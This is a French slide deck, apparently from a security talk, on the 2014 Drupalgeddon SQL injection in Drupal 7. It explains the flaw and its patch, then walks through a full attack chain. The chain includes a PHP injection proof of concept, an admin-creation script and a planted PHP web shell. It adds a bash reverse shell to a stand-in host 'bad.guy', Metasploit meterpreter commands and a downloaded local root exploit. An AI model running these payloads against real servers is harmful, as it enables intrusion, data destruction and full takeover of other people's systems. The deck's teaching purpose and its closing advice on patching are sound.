Skip to content
Snippets Groups Projects

Drupalgeddon

système vulnérable

Nous disposons d'une machine vulnérable à un

Local root exploit

Drupal vulnérable

$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files

Trouver un système vulnérable sur le www

shodan HQ

Google-Fu

Trouver un système vulnérable sur le www

$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...

La faille

La faille

includes/database/database.inc ligne 738

foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  foreach ($data as $i => $value) {   
    $new_keys[$key . '_' . $i] = $value
  }
}
  • $i est un index de tableau de variables HTTP
  • les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
    • il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP

La faille

includes/database/database.inc ligne 738

foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  /* patched version begin */
  foreach (array_values($data) as $i => $value) {
  /* patched version end */
    $new_keys[$key . '_' . $i] = $value
  }
}
  • array_values() retourne les valeurs du tableau array et l'indexe de facon numérique

Note:

  • combien de dev PHP?
  • combien utilisent array_values()
  • forcer le type des paramètres est une bonne option
  • debugging et dump variable à creuser
    • code drupal compliqué ou mal fait

Timeline grand publique

Timeline côté attaquant

  • 16 sept. 2014 : notification à Drupal
  • 15 oct. 2014 : publication du correctif
  • 15 oct. 2014, 4h après : exploitations en cours…
  • 16 oct. 2014 : de très nombreux Drupal compromis…

Exploitation manuelle

remplacer

<input id="edit-name" name="name" type="text">

par

<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />

Down the rabbit hole

Note:

  • mettre un mot de passe

PoC

MKorostoff/drupalgeddon

$url = $argv[1];
$sql = $argv[2];
$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);

//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'

Admin user

python2 drup4l_7_31_SqlInj_add_admin.py -t  http://drup.al -u 1337 -p 1337
  • représente 26% d'utilisation de la faille
    • industrialisé pour vendre du viagra

viagra

Backdoor

rerésente 68% des attaques

Simple backdoor shell

$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
  echo "<pre>";
  passthru($_REQUEST["cmd"]);
  die;
}
phpinfo();';

Backdoor

  • Architecture Drupal
    • menu_router
      • un url = un callback + un tableau d'arguments sérialisés
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');

Payload

$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);

http://drup.al/backdoor

Note:

  • bien entendu on appelle pas ça backdoor
  • en réalité l'exploit de Matt Korostoff marche avec un cookie
  • deux ou trois échappement sont nécessaire
  • même pas besoin créer le compte admin hein ...
    • automatisable à souhait

exploitation

$ php attack/exploit.php 'http://drup.al'

exploitation

nc -lvvp 1337

met le poste de l'attaquant en écoute sur le port 1337

http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');

en version encodée

http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
  • connecte le serveur sur l'IP de l'attaquant

Note:

metasploit

exploit Metasploit

msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[&#10035;] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data

YES

Note:

  • l'autocomplétion avec tabulation
  • Port à rerouter of course

escalade de privilèges

$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami

W00T

w00t!!!!

Moralité

  • un malheur n'arrive jamais seul
  • tout doit être à jour
    • système, lib, cms, services, ...
  • mieux vaut s'appuyer sur des communautés
    • réactives
    • préoccupées par la sécurité
  • bien suivre les mises à jour des produits
    • et patcher asap quand nécessaire